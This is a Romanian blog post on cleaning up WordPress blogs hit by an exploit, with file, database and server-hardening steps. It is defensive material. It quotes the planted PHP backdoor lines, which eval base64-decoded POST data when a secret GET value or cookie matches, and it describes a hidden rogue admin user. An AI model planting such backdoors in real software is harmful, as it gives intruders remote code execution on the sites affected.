Inainte sa cititi acest post, trebuie sa vedeti postul de aici, ca sa intelegeti ceva. :)
Am gasit in mai multe fisiere ale blogurilor de pe stealthsettings.com, coduri asemanatoare cu cele de mai jos, aparute ca urmare a virusarii cu exploitul de WordPress.:
<?php if($_GET[‘573abcb060974771’]==”8e96d1b4b674e1d2″){ eval(base64_decode($_POST[‘file’])); exit; } ?>
si
<?php if($_COOKIE[’44e827f9fbeca184′]==”5cd3c94b4b1c57ea”){ eval(base64_decode($_POST[‘file’])); exit; } ?>
In cazul de mai sus este vorba despre fisierul xmlrpc.php de la Somnoros, dar la un grep pe server, se vede ca sunt destul de multe coduri de acest gen in surse.
Curatare fisiere infectate:
Ooookkkk…
1. Cea mai buna solutie, dupa ce este facut backup-ul si curatata baza de date, este sa stergeti fisierele de WordPress (puteti pastra wp-config.php si fisierele care nu tin strict de platforma wp, dupa ce sunt atent verificate) de pe server si sa faceti upload la cele originale din versiunea 2.5.1 (cu ocazia asta faceti si un upgrade de versiune wp :) ): http://wordpress.org/download/ . Stergeti inclusiv fisierele temei, daca nu aveti incredere ca puteti face o verificare atenta a lor.
Se vede ca au fost afectate si fisiere ale temelor care nu au fost folosite niciodata pe blog si simpla schimbare a temei, nu rezolva aceasta problema.
./andreea/wp-content/themes/default/index.php:<?php if($_COOKIE[’44e827f9fbeca184′]==”5cd3c94b4b1c57ea”){ eval(base64_decode($_POST[‘file’])); exit; } ?><?php get_header(); ?>
2. Cautati si stergeti toate fisierele care contin : *_new.php, *_old.php, *.jpgg, *.giff, *.pngg si fisierul wp-info.txt, daca exista.
find . -name “*_new.php”
find . -name “*_old.php”
find . -name “*.jpgg”
find . -name “*_giff”
find . -name “*_pngg”
find . -name “wp-info.txt”
3. in /tmp , cautati si stergeti folderele de genul tmpYwbzT2
Curatare SQL :
1. in tabelul tabelul wp_options vedeti daca exista si stergeti liniile: internal_links_cache, rss_f541b3abd05e7962fcab37737f40fad8 si wordpress_options.
2. Tot in wp_options, mergeti la active_plugins si stergeti daca exista, un plugin care se termina intr-una din extensiile *_new.php, *_old.php, *.jpgg, *.giff, *.pngg sau daca este alta extensie suspecta, verificati cu atentie.
3. In tabelul wp_users, vedeti daca exista un user care nu are scris nimic in dreptul lui, pe coloana user_nicename. Stergeti acest user, dar retineti numarul de pe coloana ID. Acest user este posibil sa foloseasca “WordPress” ca user_login si apare ca este creat la data de 00:00:00 0000-00-00 .
4. Mergeti in tabelul wp_usermeta si stergeti toate liniile care apartin ID-ului de mai sus.
Dupa ce ati facut aceasta curatare de sql, dezactivati si apoi activati un plugin oarecare. (in blog –> Dashboard –> Plugins)
Securizare server:
1. Vedeti ce directoare si fisiere sunt “writable” (chmod 777) si incercati sa puneti pe ele un chmod care sa nu mai permita scrierea lor de la orice nivel. (chmod 644, de exemplu)
find . -perm -2 –ls
2. Vedeti ce fisiere au setat bit-ul suid sau sgid . Daca nu utilizati acele fisiere puneti pe ele chmod 0 sau dezinstalati pachetul care le contine. Sunt foarte periculoase, pentru ca ele executa cu privilegiile “group” sau “root” si nu cu privilegiile utilizatorului normal care executa acel fisier.
find / -type f -perm -04000 -ls
find / -type f -perm -02000 -ls
3. Verificati ce porturi sunt deschise si incercati sa inchideti sau sa securizati pe cele care nu sunt folosite.
netstat -an | grep -i listen
Cam atat. Vad ca unele bloguri sunt banate de Google Search si altii spun “Bine le-a facut!!!” . Pai bine le-o fi facut…dar ce spuneti daca incepe google sa baneze toate site-urile care fac SE SPAM si baga troieni (Trojan.Clicker.HTML) in cookies?
1 thought on “WordPress Exploit – Curatare fisiere virusate, SQL si securizare server.”